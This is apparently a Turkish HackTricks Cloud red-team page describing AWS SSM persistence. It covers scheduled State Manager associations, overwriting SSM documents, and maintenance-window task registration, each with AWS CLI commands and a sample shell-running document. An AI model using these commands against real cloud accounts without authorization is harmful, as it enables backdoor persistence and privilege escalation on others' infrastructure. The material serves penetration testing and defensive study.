AWS - SSM Perssitence
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
SSM
Daha fazla bilgi için bakın:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Persistence için ssm:CreateAssociation kullanma
ssm:CreateAssociation yetkisine sahip bir attacker, SSM tarafından yönetilen EC2 instances üzerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu associations, sabit bir aralıkta çalışacak şekilde yapılandırılabilir; bu da onları interactive sessions olmadan backdoor benzeri persistence için uygun hale getirir.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Bu persistence yöntemi, EC2 instance Systems Manager tarafından yönetildiği, SSM agent çalıştığı ve attacker association oluşturma iznine sahip olduğu sürece çalışır. Interactive session veya açık
ssm:SendCommandizinleri gerektirmez. Important:--schedule-expressionparametresi (ör.rate(30 minutes)) AWS’nin minimum 30 dakika aralığına uymalıdır. Hemen ya da tek seferlik execution için--schedule-expressionparametresini tamamen bırakın — association, oluşturulduktan sonra bir kez çalışacaktır.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
ssm:UpdateDocument ve ssm:UpdateDocumentDefaultVersion izinlerine sahip bir attacker, existing documents değiştirerek privilege escalation yapabilir. Bu aynı zamanda o document içinde persistence sağlar. Pratikte attacker’ın custom documents adlarını almak için ayrıca ssm:ListDocuments iznine de ihtiyacı olur ve attacker payload’ını existing bir document içine obfuscate etmek isterse ssm:GetDocument de gerekli olacaktır.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Aşağıda, mevcut bir dokümanın üzerine yazmak için kullanılabilecek bir örnek doküman bulunmaktadır. Doküman türünüzün hedef dokümanın türüyle eşleştiğinden emin olmak isteyeceksiniz; aksi halde invocation ile ilgili sorunlar oluşabilir. Örneğin aşağıdaki doküman, ssm:SendCommand ve ssm:CreateAssociation örneklerini kullanacaktır.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
ssm:RegisterTaskWithMaintenanceWindow ve ssm:RegisterTargetWithMaintenanceWindow izinlerine sahip bir attacker, önce mevcut bir maintenance window ile yeni bir target kaydederek ve ardından yeni bir task kaydını güncelleyerek privilege escalation yapabilir. Bu, mevcut target’larda execution sağlar, ancak yeni target’lar kaydederek farklı roles ile compute sistemlerini compromise etmeye de imkan verebilir. Bu aynı zamanda persistence da sağlar, çünkü maintenance windows tasks, window oluşturulurken tanımlanan önceden belirlenmiş bir aralıkta çalıştırılır. Pratikte attacker’ın maintenance window ID’lerini almak için ayrıca ssm:DescribeMaintenanceWindows iznine de ihtiyacı olur.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

